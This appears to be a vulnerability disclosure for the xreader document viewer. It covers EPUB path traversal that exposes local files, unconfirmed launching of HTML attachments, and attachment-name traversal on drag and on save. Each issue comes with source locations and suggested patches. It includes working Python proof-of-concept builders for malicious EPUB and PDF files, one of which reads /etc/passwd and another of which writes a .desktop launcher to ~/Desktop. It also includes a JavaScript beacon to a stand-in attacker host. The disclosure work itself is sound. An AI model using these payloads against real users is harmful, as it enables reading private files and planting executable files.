href attributes in OPF manifest and nav files are appended to the document directory without sanitizing ../ sequences, allowing any local file to be displayed.
backend/epub/epub-document.c:1387 — setup_document_content_list()
g_string_append_printf(absolutepath, "/%s", relativepath);backend/epub/epub-document.c:1555 — get_child_list()
gchar *filepath = g_strdup_printf("%s/%s", documentdir, filename);#!/usr/bin/env python3
import zipfile, sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "/etc/passwd"
with zipfile.ZipFile("poc.epub", "w") as zf:
zf.writestr("mimetype", "application/epub+zip", compress_type=zipfile.ZIP_STORED)
zf.writestr("META-INF/container.xml", '<?xml version="1.0"?>'
'<container xmlns="urn:oasis:names:tc:opendocument:xmlns:container" version="1.0">'
'<rootfiles><rootfile full-path="OEBPS/content.opf" media-type="application/oebps-package+xml"/>'
'</rootfiles></container>')
zf.writestr("OEBPS/content.opf", f'<?xml version="1.0"?>'
'<package xmlns="http://www.idpf.org/2007/opf" version="3.0" unique-identifier="uid">'
'<metadata xmlns:dc="http://purl.org/dc/elements/1.1/">'
'<dc:title>X</dc:title><dc:identifier id="uid">x</dc:identifier><dc:language>en</dc:language>'
'</metadata><manifest>'
'<item id="c" href="c.xhtml" media-type="application/xhtml+xml"/>'
f'<item id="t" href="{"../"*10}{TARGET.lstrip("/")}" media-type="application/xhtml+xml"/>'
'</manifest><spine><itemref idref="c"/><itemref idref="t"/></spine></package>')
zf.writestr("OEBPS/c.xhtml", '<?xml version="1.0"?>'
'<html xmlns="http://www.w3.org/1999/xhtml"><body><p>Next page</p></body></html>')
print(f"poc.epub -> page 2 shows {TARGET}")Open in xreader, navigate to page 2.
Add g_file_get_relative_path() check (same pattern as CVE-2023-44451) after building the absolute path in both functions. Reject the item if it resolves outside documentdir.
Attachments are opened with the system default handler via g_app_info_launch() with zero confirmation. .html/.xhtml attachments open in Firefox with full JS execution.
libdocument/ev-attachment.c:399-401
app_info = g_app_info_get_default_for_type(attachment->priv->mime_type, FALSE);libdocument/ev-attachment.c:434
retval = ev_attachment_launch_app(attachment, screen, timestamp, error);#!/usr/bin/env python3
import zlib
CALLBACK = "http://ATTACKER:8080/test"
html = f'<html><body><script>fetch("{CALLBACK}?ua="+navigator.userAgent)</script></body></html>'
# Build PDF with embedded file attachment named "report.html" containing the HTML above
# (see attachment_mime_poc.py for full PDF builder)Double-click attachment in sidebar → Firefox opens → JS executes.
Add a confirmation dialog in ev_attachment_open() before calling ev_attachment_launch_app(), showing the filename, MIME type, and application that will open it.
The drag handler uses the raw attachment name as a temp file template without g_path_get_basename(). Names with ../ escape the temp directory.
shell/ev-sidebar-attachments.c:424
template = g_strdup_printf("%s.XXXXXX", ev_attachment_get_name(attachment));
file = ev_mkstemp_file(template, &error);Note: ev_attachment_open() at ev-attachment.c:423 already does this correctly with g_path_get_basename().
Same PDF builder as #4 below. Drag the attachment from the sidebar — file is created at the traversed path with a random .XXXXXX suffix.
-template = g_strdup_printf ("%s.XXXXXX", ev_attachment_get_name (attachment));
+gchar *basename = g_path_get_basename (ev_attachment_get_name (attachment));
+template = g_strdup_printf ("%s.XXXXXX", basename);
+g_free (basename);When saving attachments to a directory, the raw name is passed to g_file_get_child() which resolves ../. The file is written with the exact attacker-controlled name — no random suffix.
shell/ev-window.c:7374
save_to = g_file_get_child(target_file, ev_attachment_get_name(attachment));shell/ev-window.c:7400 (same pattern for remote save)
dest_file = g_file_get_child(target_file, ev_attachment_get_name(attachment));#!/usr/bin/env python3
"""Save Attachment As to any directory → .desktop written to ~/Desktop/"""
import zlib
ATTACHMENT_NAME = "../Desktop/test.desktop"
DESKTOP_CONTENT = "[Desktop Entry]\nType=Application\nName=Test\nExec=/usr/bin/gnome-calculator\nTerminal=false\n"
def pdf_obj(n, c): return f"{n} 0 obj\n{c}\nendobj\n".encode()
def pdf_stream(n, d):
c = zlib.compress(d)
return f"{n} 0 obj\n<< /Length {len(c)} /Filter /FlateDecode >>\nstream\n".encode() + c + b"\nendstream\nendobj\n"
body = bytearray(b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n")
off = []
def add(d): off.append(len(body)); body.extend(d)
esc = ATTACHMENT_NAME.replace("(","\\(").replace(")","\\)")
add(pdf_obj(1, "<< /Type /Catalog /Pages 2 0 R /Names 7 0 R >>"))
add(pdf_obj(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>"))
add(pdf_obj(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>"))
add(pdf_stream(4, b"BT /F1 14 Tf 50 700 Td (Save the attachment) Tj ET"))
add(pdf_obj(5, "<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>"))
c = zlib.compress(DESKTOP_CONTENT.encode())
add(f"6 0 obj\n<< /Type /EmbeddedFile /Length {len(c)} /Filter /FlateDecode >>\nstream\n".encode() + c + b"\nendstream\nendobj\n")
add(pdf_obj(7, f"<< /EmbeddedFiles << /Names [({esc}) 8 0 R] >> >>"))
add(pdf_obj(8, f"<< /Type /Filespec /F ({esc}) /EF << /F 6 0 R >> >>"))
xr = len(body)
x = "xref\n0 9\n0000000000 65535 f \n"
for o in off: x += f"{o:010d} 00000 n \n"
x += f"trailer\n<< /Size 9 /Root 1 0 R >>\nstartxref\n{xr}\n%%EOF\n"
body.extend(x.encode())
with open("poc.pdf", "wb") as f: f.write(bytes(body))
print("poc.pdf -> Save Attachment As to ~/Documents/ -> test.desktop appears on ~/Desktop/")Open in xreader → sidebar → right-click attachment → "Save Attachment As..." → select any home subfolder → test.desktop is written to ~/Desktop/ instead. Double-click it → gnome-calculator opens.
// line 7374
-save_to = g_file_get_child (target_file, ev_attachment_get_name (attachment));
+gchar *basename = g_path_get_basename (ev_attachment_get_name (attachment));
+save_to = g_file_get_child (target_file, basename);
+g_free (basename);
// line 7400 (same change)
-dest_file = g_file_get_child (target_file, ev_attachment_get_name (attachment));
+gchar *basename = g_path_get_basename (ev_attachment_get_name (attachment));
+dest_file = g_file_get_child (target_file, basename);
+g_free (basename);
Pocs
https://drive.google.com/file/d/1UcbNlZNOo8onfarDV8iCdyVULPP0VfUI/view (arb write )
https://drive.google.com/file/d/1D9tI94dkCoEoQ5M8cInOk1WYXEVDTxxq/view ( arb read )
https://drive.google.com/file/d/1mjLP1G5t3mO8UuKdAZP_jNsTpUykoCnl/view (epub local file read )
https://drive.google.com/file/d/12435Od2hnQt-MnlftcbxsrU62Mpff_vu/view( html + possible code exec)